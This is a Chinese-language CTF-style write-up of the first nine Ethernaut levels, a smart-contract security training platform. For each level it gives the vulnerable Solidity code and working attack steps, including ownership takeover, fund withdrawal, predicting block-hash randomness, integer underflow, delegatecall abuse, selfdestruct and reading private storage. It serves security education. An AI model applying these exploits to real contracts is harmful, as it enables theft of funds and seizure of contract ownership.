Ethernaut闯关录(上)
字数 1298 2025-08-22 12:22:43

Ethernaut智能合约安全闯关教学文档

前言

Ethernaut是一个类似CTF的智能合约安全学习平台,集成了多种智能合约安全问题。本教学文档将详细解析Ethernaut平台的前半部分关卡,涵盖合约分析、漏洞原理和攻击流程。

环境准备

  1. Chrome浏览器
  2. MetaMask插件(以太坊轻钱包)
  3. 配置MetaMask使用测试网络并充值测试ETH

基础交互

控制台操作

  • 输入player查看玩家地址
  • 输入getBalance(player)查看ETH余额
  • 输入help查看可用命令
  • 输入Ethernaut查看合约可用函数

合约交互

通过await contract.functionName()方式调用合约函数

关卡详解

1. Hello Ethernaut

目标:熟悉平台基本操作

解题步骤

  1. 获取实例
  2. 按提示依次调用合约函数:
    await contract.info()
    await contract.info1()
    await contract.info2("hello")
    await contract.infoNum()
    await contract.info42()
    await contract.theMethodName()
    await contract.method7123949()
    await contract.password()
    await contract.authenticate("ethernaut0")
    
  3. 提交实例

关键点:熟悉合约函数调用和参数传递

2. Fallback

目标

  1. 成为合约owner
  2. 将合约余额减为0

合约分析

  • 通过contribute()贡献ETH可成为owner,但需要贡献1000ETH(不现实)
  • 触发fallback函数可成为owner:
    function() payable public {
      require(msg.value > 0 && contributions[msg.sender] > 0);
      owner = msg.sender;
    }
    

攻击流程

  1. 贡献少量ETH使贡献值>0:
    await contract.contribute({value: 1})
    
  2. 触发fallback:
    await contract.sendTransaction({value: 1})
    
  3. 提取资金:
    await contract.withdraw()
    

3. Fallout

目标:获取合约owner权限

漏洞:构造函数名称拼写错误(Fal1out vs Fallout),使其成为普通public函数

攻击流程

await contract.Fal1out()

4. Coin Flip

目标:连续10次正确猜测硬币翻转结果

漏洞:随机数生成不安全,基于区块哈希:

uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);  // FACTOR=2^255

攻击合约

contract exploit {
  CoinFlip expFlip;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  
  function exploit(address aimAddr) {
    expFlip = CoinFlip(aimAddr);
  }
  
  function hack() public {
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    uint256 coinFlip = uint256(uint256(blockValue)/FACTOR);
    bool guess = coinFlip == 1 ? true : false;
    expFlip.flip(guess);
  }
}

攻击流程

  1. 部署exploit合约
  2. 调用hack()至少10次

5. Telephone

目标:获取合约owner权限

漏洞:tx.origin与msg.sender检查不严:

function changeOwner(address _owner) public {
  if (tx.origin != msg.sender) {
    owner = _owner;
  }
}

攻击合约

contract exploit {
  Telephone target = Telephone(目标地址);
  
  function hack(){
    target.changeOwner(msg.sender);
  }
}

6. Token

目标:获取更多Token(初始20个)

漏洞:整数下溢:

function transfer(address _to, uint _value) public returns (bool) {
  require(balances[msg.sender] - _value >= 0);  // 无符号整数下溢
  balances[msg.sender] -= _value;
  balances[_to] += _value;
  return true;
}

攻击流程

await contract.transfer(任意地址, 21)  // 导致balances[msg.sender]下溢

7. Delegation

目标:获取合约owner权限

漏洞:delegatecall使用不当:

function() public {
  if(delegate.delegatecall(msg.data)) {
    this;
  }
}

攻击流程

await contract.sendTransaction({data: web3.sha3("pwn()").slice(0,10)})

8. Force

目标:使合约balance>0

漏洞:合约没有接收ETH的函数

解决方案:使用selfdestruct强制发送ETH

攻击合约

contract Force {
  function Force() public payable {}
  
  function exploit(address _target) public {
    selfdestruct(_target);
  }
}

9. Vault

目标:解锁合约

漏洞:私有变量存储可见:

bytes32 private password;  // 仍可通过存储访问

攻击流程

  1. 获取存储中的密码:
    web3.eth.getStorageAt(contract.address, 1, function(x,y){alert(web3.toAscii(y))});
    
  2. 解锁:
    await contract.unlock(获取的密码)
    

关键安全知识点总结

  1. 权限控制:检查owner修改路径
  2. 随机数安全:避免使用可预测的区块变量
  3. 整数运算:注意上下溢出问题
  4. 可见性误区:private变量在链上仍可读取
  5. 特殊函数
    • fallback函数触发条件
    • selfdestruct强制转账特性
  6. 调用上下文
    • tx.origin vs msg.sender
    • delegatecall的危险性

后续学习建议

  1. 继续完成Ethernaut后半部分关卡
  2. 研究OpenZeppelin安全库的实现
  3. 学习常见智能合约漏洞模式(如重入、时间依赖等)
  4. 实践智能合约安全审计方法
Ethernaut智能合约安全闯关教学文档 前言 Ethernaut是一个类似CTF的智能合约安全学习平台,集成了多种智能合约安全问题。本教学文档将详细解析Ethernaut平台的前半部分关卡,涵盖合约分析、漏洞原理和攻击流程。 环境准备 Chrome浏览器 MetaMask插件(以太坊轻钱包) 配置MetaMask使用测试网络并充值测试ETH 基础交互 控制台操作 输入 player 查看玩家地址 输入 getBalance(player) 查看ETH余额 输入 help 查看可用命令 输入 Ethernaut 查看合约可用函数 合约交互 通过 await contract.functionName() 方式调用合约函数 关卡详解 1. Hello Ethernaut 目标 :熟悉平台基本操作 解题步骤 : 获取实例 按提示依次调用合约函数: 提交实例 关键点 :熟悉合约函数调用和参数传递 2. Fallback 目标 : 成为合约owner 将合约余额减为0 合约分析 : 通过 contribute() 贡献ETH可成为owner,但需要贡献1000ETH(不现实) 触发fallback函数可成为owner: 攻击流程 : 贡献少量ETH使贡献值>0: 触发fallback: 提取资金: 3. Fallout 目标 :获取合约owner权限 漏洞 :构造函数名称拼写错误(Fal1out vs Fallout),使其成为普通public函数 攻击流程 : 4. Coin Flip 目标 :连续10次正确猜测硬币翻转结果 漏洞 :随机数生成不安全,基于区块哈希: 攻击合约 : 攻击流程 : 部署exploit合约 调用hack()至少10次 5. Telephone 目标 :获取合约owner权限 漏洞 :tx.origin与msg.sender检查不严: 攻击合约 : 6. Token 目标 :获取更多Token(初始20个) 漏洞 :整数下溢: 攻击流程 : 7. Delegation 目标 :获取合约owner权限 漏洞 :delegatecall使用不当: 攻击流程 : 8. Force 目标 :使合约balance>0 漏洞 :合约没有接收ETH的函数 解决方案 :使用selfdestruct强制发送ETH 攻击合约 : 9. Vault 目标 :解锁合约 漏洞 :私有变量存储可见: 攻击流程 : 获取存储中的密码: 解锁: 关键安全知识点总结 权限控制 :检查owner修改路径 随机数安全 :避免使用可预测的区块变量 整数运算 :注意上下溢出问题 可见性误区 :private变量在链上仍可读取 特殊函数 : fallback函数触发条件 selfdestruct强制转账特性 调用上下文 : tx.origin vs msg.sender delegatecall的危险性 后续学习建议 继续完成Ethernaut后半部分关卡 研究OpenZeppelin安全库的实现 学习常见智能合约漏洞模式(如重入、时间依赖等) 实践智能合约安全审计方法